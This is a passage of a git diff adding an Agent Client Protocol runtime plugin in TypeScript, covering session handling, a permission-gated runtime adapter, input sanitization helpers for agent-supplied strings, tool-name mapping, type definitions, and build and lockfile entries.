agent + // errors first (KTD2). + if (initResult.protocolVersion !== PROTOCOL_VERSION) { + dispose(); + throw new IncompatibleProtocolError(initResult.protocolVersion); + } + + const authMethods = Array.isArray(initResult.authMethods) + ? initResult.authMethods.map((m) => ({ id: m.id })) + : []; + + return { + conn, + child, + agentCapabilities: initResult.agentCapabilities, + authMethods, + stderr, + dispose, + }; +} + +// --- U3: session driving on top of connect() ------------------------------- +// +// These helpers wrap the `ClientSideConnection` session methods so the runtime +// adapter drives one shape (open → prompt → cancel/resume) without touching SDK +// types directly. v1 always sends an empty `mcpServers` (KTD5). + +function readsLoadSession(connection: AcpConnection): boolean { + // `agentCapabilities` is already typed as `AgentCapabilities | undefined`. + return connection.agentCapabilities?.loadSession === true; +} + +export interface NewAcpSessionResult { + sessionId: string; + /** Initial session mode state, when the agent reports one. */ + modes?: unknown; +} + +/** + * Open a fresh ACP session via `session/new`. Always passes an empty + * `mcpServers` (KTD5 — Fusion custom-tool forwarding is deferred). + */ +export async function newAcpSession( + connection: AcpConnection, + opts: { cwd: string }, +): Promise { + const res = await connection.conn.newSession({ cwd: opts.cwd, mcpServers: [] }); + // `sessionId` is agent-supplied/untrusted (U6/Risk S7): bound its length and + // strip path separators / NUL bytes before it is stored on the session or + // could ever touch a resume-file path. + return { sessionId: boundIdentifier(res.sessionId), modes: res.modes ?? undefined }; +} + +/** + * Send a prompt turn via `session/prompt` and return the terminal `stopReason`. + * + * The SDK prompt promise resolves only AFTER every `session/update` for the turn + * has been delivered to the client handler — so resolving here is the correct + * "turn complete" signal (no extra draining required). + */ +export async function promptAcpSession( + connection: AcpConnection, + sessionId: string, + blocks: ContentBlock[], +): Promise { + const res = await connection.conn.prompt({ sessionId, prompt: blocks }); + return res.stopReason; +} + +/** + * Best-effort cancel of the active turn via the `session/cancel` notification. + * + * This is fire-and-forget (no ack in the protocol). Errors are swallowed — it + * runs during teardown where the registry SIGKILL is the authoritative guarantee + * (KTD4a). + */ +/** Upper bound on how long `cancelAcpSession` waits on the cancel write (FIX 7). */ +const CANCEL_TIMEOUT_MS = 2_000; + +export async function cancelAcpSession( + connection: AcpConnection, + sessionId: string, +): Promise { + // `conn.cancel` writes to the agent's stdin pipe; a dead or full pipe can + // back-pressure and stall teardown (the adapter awaits this BEFORE the + // authoritative registry SIGKILL). Bound it so the kill still runs promptly + // (FIX 7). Errors are swallowed — this is already best-effort. + try { + await Promise.race([ + connection.conn.cancel({ sessionId }), + new Promise((resolve) => { + const timer = setTimeout(resolve, CANCEL_TIMEOUT_MS); + timer.unref?.(); + }), + ]); + } catch { + // fire-and-forget; teardown's SIGKILL is authoritative + } +} + +/** + * Resume a session. Prefers `session/load` (history replay) when the agent + * advertised the `loadSession` capability; otherwise falls back to opening a + * fresh `session/new`. There is no separate `resume` method in this SDK build — + * `loadSession` IS the resume path. + * + * NOTE (v1): engine-driven resume wiring is intentionally deferred — the + * runtime adapter always opens a fresh session via `newAcpSession`. This helper + * exists (and is unit-tested for the id-sanitization invariant) so resume can be + * wired in by passing a `sessionId` through `AgentRuntimeOptions` later without + * building new resume machinery. + */ +export async function loadAcpSession( + connection: AcpConnection, + opts: { sessionId: string; cwd: string }, +): Promise { + if (readsLoadSession(connection)) { + // Bound the (agent-originated) resume id before it is used as a protocol / + // potential path component (U6/Risk S7). + const safeId = boundIdentifier(opts.sessionId); + const res = await connection.conn.loadSession({ + sessionId: safeId, + cwd: opts.cwd, + mcpServers: [], + }); + return { sessionId: safeId, modes: res.modes ?? undefined }; + } + return newAcpSession(connection, { cwd: opts.cwd }); +} diff --git a/plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts b/plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts new file mode 100644 index 0000000000..bafea4ff3a --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts @@ -0,0 +1,160 @@ +// AgentRuntime adapter for the ACP runtime. +// +// U3 implements the real session lifecycle: createSession spawns + handshakes +// (U2 connect()) then opens a `session/new`; promptWithFallback drives one +// prompt turn to its terminal stopReason; dispose tears down the connection +// (KTD4a — registry SIGKILL is authoritative). The `session/update` event +// bridge (U4) and the permission gate (U5) are wired in later units; for U3 the +// default client handler from U2 is used and a turn still resolves with a +// stopReason. + +import { resolveCliSettings, type AcpCliSettings } from "./cli-spawn.js"; +import { + connect, + newAcpSession, + promptAcpSession, + cancelAcpSession, + createBridgingClientHandler, +} from "./provider.js"; +import { buildSpawnEnv } from "./process-manager.js"; +import { buildPromptBlocks } from "./prompt-builder.js"; +import type { + AgentRuntime, + AgentRuntimeOptions, + AgentSession, + AgentSessionResult, + AcpSession, +} from "./types.js"; + +export class AcpRuntimeAdapter implements AgentRuntime { + readonly id = "acp"; + readonly name = "ACP Runtime"; + private readonly settings: AcpCliSettings; + + constructor(settings?: Record) { + this.settings = resolveCliSettings(settings); + } + + async createSession(options: AgentRuntimeOptions): Promise { + const model = this.settings.model ?? options.defaultModelId ?? "acp"; + + // Bridge streamed `session/update` notifications onto the engine callbacks + // (U4) so ACP agents render like existing runtimes. + const callbacks = { + onText: options.onText, + onThinking: options.onThinking, + onToolStart: options.onToolStart, + onToolEnd: options.onToolEnd, + }; + + // Build the bridging client handler with the per-run permission gate (U5): + // its `requestPermission` classifies each call per-category against the live + // gate (KTD3a) and selects `allow_once` only (S2). `cancelPending` drains + // in-flight permission requests on teardown so the agent never deadlocks. + // fs client capabilities (U7) are gated by settings — reads opt-in, writes + // default OFF (KTD6) — and confined to the task cwd by the path jail. The + // same toggles drive the advertised `fs` capability in connect() below, so + // advertisement and registered handlers stay consistent. + const { handler: clientHandler, cancelPending, resetTurn } = createBridgingClientHandler( + callbacks, + options.actionGateContext, + { + cwd: options.cwd, + allowRead: this.settings.fsRead, + allowWrite: this.settings.fsWrite, + }, + // Risk S1: unless the user acknowledged the untrusted-agent risk, a blanket + // `allow` on a sensitive category is escalated to approval rather than + // auto-approved — so the default `unrestricted` policy can't silently + // green-light this untrusted subprocess. + { allowUnrestricted: this.settings.allowUnrestricted }, + ); + + // Spawn + initialize (U2). fs capabilities are advertised only where the + // resolved settings enable them (KTD6); the subprocess env is built from the + // allow-list, never inherited process.env (KTD6b). + const connection = await connect({ + binaryPath: this.settings.binaryPath, + args: this.settings.args, + cwd: options.cwd, + env: buildSpawnEnv(this.settings.envAllowList), + advertiseFs: { read: this.settings.fsRead, write: this.settings.fsWrite }, + clientHandler, + }); + + // Open the ACP session over the task worktree (empty mcpServers — KTD5). + let sessionId: string; + try { + const opened = await newAcpSession(connection, { cwd: options.cwd }); + sessionId = opened.sessionId; + } catch (err) { + // Don't leak the subprocess if session/new fails after a good handshake. + connection.dispose(); + throw err; + } + + let disposed = false; + const session: AcpSession = { + model, + systemPrompt: options.systemPrompt, + sessionId, + cwd: options.cwd, + lastModelDescription: `acp/${model}`, + callbacks, + // Persist the per-run gate (KTD3) so U5/U7 can reach the live action gate. + gate: options.actionGateContext, + connection, + // Reset the event bridge's per-turn state at the start of each turn so a + // turn that trips the per-turn output cap can't latch and suppress every + // subsequent turn (FIX 1). + resetTurn, + dispose: () => { + if (disposed) return; + disposed = true; + // Drain in-flight permission requests BEFORE the registry kill so a + // blocked agent is released (KTD4a — the SIGKILL is still authoritative). + cancelPending(); + connection.dispose(); + }, + }; + + return { session }; + } + + async promptWithFallback( + session: AgentSession, + prompt: string, + _options?: unknown, + ): Promise { + const acp = session as AcpSession; + if (!acp.connection) { + throw new Error("ACP session has no live connection (createSession not completed)"); + } + // Clear per-turn event-bridge state BEFORE driving the turn so tool + // correlation, delta accumulators, and the output-cap latch all start clean + // each turn (FIX 1). Without this, a turn that hit the per-turn output cap + // would silently suppress all later turns. + acp.resetTurn?.(); + const blocks = buildPromptBlocks(prompt); + // Resolve when the SDK prompt promise resolves — it already drains all + // session/update notifications for the turn before reporting the stopReason. + // The bridging client handler installed at createSession (U4) has already + // surfaced streamed text/thinking/tool updates onto session.callbacks. + await promptAcpSession(acp.connection, acp.sessionId, blocks); + } + + describeModel(session: AgentSession): string { + return session.lastModelDescription || "acp"; + } + + async dispose(session: AgentSession): Promise { + // KTD4a teardown: best-effort cancel of any in-flight turn, then force the + // connection down. The process-registry SIGKILL is the authoritative + // no-orphan guarantee, not the cancel round-trip. Idempotent. + const acp = session as AcpSession; + if (acp.connection && acp.sessionId) { + await cancelAcpSession(acp.connection, acp.sessionId); + } + session.dispose(); + } +} diff --git a/plugins/fusion-plugin-acp-runtime/src/sanitize.ts b/plugins/fusion-plugin-acp-runtime/src/sanitize.ts new file mode 100644 index 0000000000..75adfbe8b0 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/sanitize.ts @@ -0,0 +1,80 @@ +// Untrusted-input sanitization helpers (U6 / Risk S7). +// +// Every string an ACP agent emits — text/thinking deltas, tool `title`, plan +// text, `sessionId`, `toolCallId` — is untrusted input. Before any such string +// reaches a Fusion callback, a log, the UI, or (worst) a filesystem path, it must +// be neutralized: +// +// - `stripControlSequences` removes ANSI/OSC escapes and C0/C1 control chars so +// a crafted string cannot inject terminal escapes / rewrite log lines. +// - `boundString` truncates oversized content (Risk S5) with a visible marker. +// - `boundIdentifier` bounds an agent-supplied id and strips path separators / +// NUL bytes so the id can never be interpolated into a filesystem path +// unsanitized. + +/** Default cap for an agent-supplied identifier (sessionId, toolCallId). */ +export const DEFAULT_IDENTIFIER_MAX = 256; + +/** Marker appended when `boundString` truncates its input. */ +export const TRUNCATION_MARKER = "…[truncated]"; + +// ANSI escape sequences: +// CSI / SGR: ESC [ ... +// OSC: ESC ] ... (BEL | ST) +// other ESC-prefixed two-char sequences (e.g. ESC ( B) +const ANSI_PATTERN = + // eslint-disable-next-line no-control-regex + /\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b[@-Z\\-_]|\x1b\[[0-?]*[ -/]*[@-~]|\x1b[ -/]*[0-~]/g; + +// Non-printable control chars to drop. C0 = \x00–\x1F, DEL = \x7F, C1 = \x80–\x9F. +// We KEEP \n (\x0A) and \t (\x09) — they are legitimate whitespace in agent text. +// eslint-disable-next-line no-control-regex +const CONTROL_CHARS_PATTERN = /[\x00-\x08\x0B-\x1F\x7F-\x9F]/g; + +/** + * Remove ANSI escape sequences (CSI/SGR/OSC) and non-printable C0/C1 control + * characters from an untrusted string. Preserves `\n` and `\t`. Never throws — + * a non-string input yields an empty string. + */ +export function stripControlSequences(text: string): string { + if (typeof text !== "string" || text === "") return ""; + return text.replace(ANSI_PATTERN, "").replace(CONTROL_CHARS_PATTERN, ""); +} + +/** + * Truncate `text` to at most `max` characters, appending a short truncation + * marker when the input is cut. A non-positive `max` yields an empty string; a + * non-string input yields an empty string. The returned string is never longer + * than `max` (the marker replaces the tail of the budget, it is not added on + * top). + */ +export function boundString(text: string, max: number): string { + if (typeof text !== "string" || text === "") return ""; + if (!Number.isFinite(max) || max <= 0) return ""; + if (text.length <= max) return text; + if (max <= TRUNCATION_MARKER.length) { + return text.slice(0, max); + } + return text.slice(0, max - TRUNCATION_MARKER.length) + TRUNCATION_MARKER; +} + +/** + * Bound an agent-supplied identifier to a sane length and strip anything that + * could let it escape into a filesystem path: path separators (`/`, `\`), NUL + * bytes, control chars, and `..` traversal segments are removed. The result is + * a flat, length-bounded token safe to use as a Map key or a single path + * component. A non-string / empty input yields `""`. + */ +export function boundIdentifier(id: string, max: number = DEFAULT_IDENTIFIER_MAX): string { + if (typeof id !== "string" || id === "") return ""; + const cap = Number.isFinite(max) && max > 0 ? max : DEFAULT_IDENTIFIER_MAX; + // Drop ANSI/control first, then path-dangerous characters, then traversal. + let cleaned = stripControlSequences(id) + // eslint-disable-next-line no-control-regex + .replace(/\x00/g, "") + .replace(/[/\\]/g, "_"); + // Collapse any remaining `..` traversal tokens (after separators were removed + // a `..` cannot point anywhere, but normalize it away for defense in depth). + cleaned = cleaned.replace(/\.\.+/g, "_"); + return cleaned.slice(0, cap); +} diff --git a/plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts b/plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts new file mode 100644 index 0000000000..ad5e0a620c --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts @@ -0,0 +1,46 @@ +// Pure helpers mapping ACP `ToolCall` metadata into the display name + args +// shape Fusion's `onToolStart`/`onToolEnd` callbacks expect. +// +// ACP's `kind` is agent-defined, optional, and partial (U4). These helpers must +// never throw on missing/odd input — a missing title falls back to a label +// derived from `kind`, and a missing/non-object `rawInput` normalizes to `{}`. + +import type { ToolKind } from "@agentclientprotocol/sdk"; + +/** Human-readable labels for each ACP `ToolKind`. */ +const KIND_LABELS: Record = { + read: "Read", + edit: "Edit", + delete: "Delete", + move: "Move", + search: "Search", + execute: "Execute", + think: "Think", + fetch: "Fetch", + switch_mode: "Switch Mode", + other: "Tool", +}; + +/** + * Resolve a display name for a tool call. Prefers the agent-supplied `title`; + * falls back to a label derived from `kind`; final fallback is `"tool"`. + */ +export function toolDisplayName(toolCall: { title?: string | null; kind?: ToolKind | null }): string { + const title = typeof toolCall.title === "string" ? toolCall.title.trim() : ""; + if (title) return title; + const kind = toolCall.kind; + if (kind && kind in KIND_LABELS) return KIND_LABELS[kind]; + return "tool"; +} + +/** + * Normalize a tool call's `rawInput` to a plain object. Returns `{}` when the + * input is undefined, null, or any non-object (arrays included) so downstream + * code can always treat args as a record. + */ +export function normalizeToolArgs(rawInput: unknown): Record { + if (rawInput === null || typeof rawInput !== "object" || Array.isArray(rawInput)) { + return {}; + } + return rawInput as Record; +} diff --git a/plugins/fusion-plugin-acp-runtime/src/types.ts b/plugins/fusion-plugin-acp-runtime/src/types.ts new file mode 100644 index 0000000000..3343c80928 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/types.ts @@ -0,0 +1,139 @@ +// Local types for the ACP (Agent Client Protocol) runtime plugin. +// +// The wire protocol types come from `@agentclientprotocol/sdk` (the `schema` +// namespace). These local types describe (a) the Fusion `AgentRuntime` contract +// this plugin implements and (b) the ACP session state this plugin tracks. +// +// The `AgentRuntimeOptions` here is a plugin-local structural copy of the engine +// contract (`packages/engine/src/agent-runtime.ts`). It deliberately includes +// only the fields this runtime reads. `actionGateContext` is the engine-populated +// per-run permission gate — see `PermissionGate` below, the narrow structural +// view this plugin couples to instead of importing `@fusion/engine` internals. + +import type { AcpConnection } from "./provider.js"; + +/** Callbacks the engine wires to surface streamed agent output into Fusion's UI/logs. */ +export interface AcpCallbacks { + onText?: (text: string) => void; + onThinking?: (text: string) => void; + onToolStart?: (toolName: string, args?: unknown) => void; + onToolEnd?: (toolName: string, isError: boolean, result?: unknown) => void; +} + +/** Per-category permission disposition (mirrors the engine policy shape). */ +export type GateDisposition = "allow" | "block" | "require-approval"; + +/** + * Fusion action-gate categories — the full policy-rule keyspace, used to read + * `permissionPolicy.rules[category]`. `"exempt"` is implicit (read-only / benign) + * and always allows. + * + * Note: ACP's `ToolKind` has no git/task discriminator, so `classifyToolKind` + * only ever produces `file_write_delete` / `command_execution` / `network_api` + * (+ exempt). `git_write` and `task_agent_mutation` remain part of the category + * type because the policy rules are keyed by all categories — git writes in + * particular route through `file_write_delete` gating PLUS the path-jail's hard + * `.git/**` reject (KTD6a), not a dedicated `git_write` classification. + */ +export type FusionCategory = + | "git_write" + | "file_write_delete" + | "command_execution" + | "network_api" + | "task_agent_mutation"; + +/** Approval lifecycle status as returned by the gate's lookup closure. */ +export type ApprovalStatus = "pending" | "approved" | "denied" | "completed"; + +/** + * Narrow structural view of the engine's `AgentActionGateContext` + * (`packages/engine/src/agent-action-gate.ts`). The plugin reads only these + * members; typing them locally avoids a hard dependency on `@fusion/engine`. + * + * `permissionPolicy.rules` is the per-category disposition map the U5 floor + * consults — NEVER a preset id (S1/KTD3a). All HITL closures except + * `createApprovalRequest` are optional: when the HITL machinery is absent, the + * permission floor (U5) default-denies `require-approval` categories rather than + * throwing (Risk S1). + */ +export interface PermissionGate { + permissionPolicy?: { + rules?: Record; + }; + /** Register an approval request; returns the created record (with an `id`). */ + createApprovalRequest?: ( + decision: unknown, + args: Record, + ) => Promise | unknown; + /** Look up a prior decision by dedupe key (decision reuse). */ + findApprovalByDedupeKey?: ( + dedupeKey: string, + ) => Promise<{ id: string; status: ApprovalStatus } | null> | { id: string; status: ApprovalStatus } | null; + /** Block until the human resolves the referenced approval request. */ + pauseForApproval?: (info: { + approvalRequestId: string; + decision: unknown; + }) => Promise | void; + /** Mark an approval request finalized after the decision is consumed. */ + markApprovalCompleted?: (approvalRequestId: string) => Promise | void; +} + +/** Plugin-local copy of the engine's AgentRuntimeOptions (subset this runtime reads). */ +export interface AgentRuntimeOptions { + cwd: string; + systemPrompt: string; + tools?: "coding" | "readonly"; + onText?: (text: string) => void; + onThinking?: (text: string) => void; + onToolStart?: (toolName: string, args?: unknown) => void; + onToolEnd?: (toolName: string, isError: boolean, result?: unknown) => void; + defaultProvider?: string; + defaultModelId?: string; + defaultThinkingLevel?: string; + /** Per-run permission gate, populated by the engine. See PermissionGate. */ + actionGateContext?: PermissionGate; +} + +/** Live ACP session state tracked by the runtime adapter. */ +export interface AcpSession { + /** Model/agent identifier resolved for this session. */ + model: string; + systemPrompt: string; + /** ACP session id returned by `session/new` (empty until established). */ + sessionId: string; + /** Working directory the agent operates over (the task worktree). */ + cwd: string; + lastModelDescription: string; + callbacks: AcpCallbacks; + /** Per-run permission gate captured at createSession (U5/U7 read this). */ + gate?: PermissionGate; + /** + * Live ACP connection backing this session (U3). Prompt/dispose reach the + * agent through it. Undefined only for the bare session shell used in tests. + */ + connection?: AcpConnection; + /** + * Reset the event bridge's per-turn state (tool correlation, delta + * accumulators, output-cap latch). Called by `promptWithFallback` at the start + * of each turn (FIX 1). Undefined for the bare session shell used in tests. + */ + resetTurn?: () => void; + dispose(): void; +} + +export type AgentSession = AcpSession; + +export interface AgentSessionResult { + session: AgentSession; + sessionFile?: string; +} + +/** The Fusion runtime contract this plugin implements (mirrors the engine interface). */ +export interface AgentRuntime { + id: string; + name: string; + createSession(options: AgentRuntimeOptions): Promise; + promptWithFallback(session: AgentSession, prompt: string, options?: unknown): Promise; + describeModel(session: AgentSession): string; + dispose?(session: AgentSession): Promise; +} diff --git a/plugins/fusion-plugin-acp-runtime/tsconfig.json b/plugins/fusion-plugin-acp-runtime/tsconfig.json new file mode 100644 index 0000000000..a5a86f4738 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/tsconfig.json @@ -0,0 +1,9 @@ +{ + "extends": "../../tsconfig.base.json", + "compilerOptions": { + "outDir": "dist", + "rootDir": "src", + "types": ["node", "vitest/globals"] + }, + "include": ["src/**/*"] +} diff --git a/plugins/fusion-plugin-acp-runtime/vitest.config.ts b/plugins/fusion-plugin-acp-runtime/vitest.config.ts new file mode 100644 index 0000000000..7f8fb8a972 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/vitest.config.ts @@ -0,0 +1,22 @@ +import { defineConfig } from "vitest/config"; +import { fileURLToPath } from "node:url"; +import { computeMaxWorkers } from "../../packages/core/src/__test-utils__/vitest-workers"; + +const maxWorkers = computeMaxWorkers(); + +export default defineConfig({ + resolve: { + alias: { + "@fusion/core": fileURLToPath(new URL("../../packages/core/src/index.ts", import.meta.url)), + "@fusion/plugin-sdk": fileURLToPath(new URL("../../packages/plugin-sdk/src/index.ts", import.meta.url)), + }, + }, + test: { + include: ["src/**/*.test.ts"], + setupFiles: [fileURLToPath(new URL("../../packages/core/src/__test-utils__/vitest-setup.ts", import.meta.url))], + globalSetup: [fileURLToPath(new URL("../../packages/core/src/__test-utils__/vitest-teardown.ts", import.meta.url))], + pool: "threads", + maxWorkers, + poolOptions: { threads: { minThreads: 1, maxThreads: maxWorkers }, forks: { minForks: 1, maxForks: maxWorkers } }, + }, +}); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index e707cf667e..138e4218ad 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -630,6 +630,31 @@ importers: specifier: ^3.2.4 version: 3.2.4(@types/debug@4.1.13)(@types/node@25.5.2)(jiti@2.7.0)(jsdom@29.0.1)(tsx@4.21.0)(yaml@2.9.0) + plugins/fusion-plugin-acp-runtime: + dependencies: + '@agentclientprotocol/sdk': + specifier: 0.24.0 + version: 0.24.0(zod@4.3.6) + '@earendil-works/pi-ai': + specifier: '*' + version: 0.78.0(@modelcontextprotocol/sdk@1.28.0(zod@4.3.6))(ws@8.20.0)(zod@4.3.6) + '@earendil-works/pi-coding-agent': + specifier: '*' + version: 0.78.0(@modelcontextprotocol/sdk@1.28.0(zod@4.3.6))(ws@8.20.0)(zod@4.3.6) + '@fusion/plugin-sdk': + specifier: workspace:* + version: link:../../packages/plugin-sdk + devDependencies: + '@types/node': + specifier: ^25.5.2 + version: 25.5.2 + typescript: + specifier: ^5.7.0 + version: 5.9.3 + vitest: + specifier: ^3.2.4 + version: 3.2.4(@types/debug@4.1.13)(@types/node@25.5.2)(jiti@2.7.0)(jsdom@29.0.1)(tsx@4.21.0)(yaml@2.9.0) + plugins/fusion-plugin-agent-browser: dependencies: '@fusion/plugin-sdk': @@ -1005,6 +1030,11 @@ packages: '@adobe/css-tools@4.4.4': resolution: {integrity: sha512-Elp+iwUx5rN5+Y8xLt5/GRoG20WGoDCQ/1Fb+1LiGtvwbDavuSk0jhD/eZdckHAuzcDzccnkv+rEjyWfRx18gg==} + '@agentclientprotocol/sdk@0.24.0': + resolution: {integrity: sha512-vvu9appvGvfYstBj19C6NCepV6SvUhY5VRv60KUZ4XzhTah/olOYul5Zo4C+x2enyshMSvgB2mm/OEmrsHaSmA==} + peerDependencies: + zod: ^3.25.0 || ^4.0.0 + '@alcalzone/ansi-tokenize@0.2.5': resolution: {integrity: sha512-3NX/MpTdroi0aKz134A6RC2Gb2iXVECN4QaAXnvCIxxIm3C3AVB1mkUe8NaaiyvOpDfsrqWhYtj+Q6a62RrTsw==} engines: {node: '>=18'} @@ -6473,6 +6503,10 @@ snapshots: '@adobe/css-tools@4.4.4': {} + '@agentclientprotocol/sdk@0.24.0(zod@4.3.6)': + dependencies: + zod: 4.3.6 + '@alcalzone/ansi-tokenize@0.2.5': dependencies: ansi-styles: 6.2.3 diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index 643628e0b8..79c2758636 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -21,6 +21,7 @@ packages: - "plugins/fusion-plugin-openclaw-runtime" - "plugins/fusion-plugin-hermes-runtime" - "plugins/fusion-plugin-droid-runtime" + - "plugins/fusion-plugin-acp-runtime" - "plugins/fusion-plugin-cursor-runtime" - "plugins/fusion-plugin-agent-browser" - "plugins/fusion-plugin-whatsapp-chat"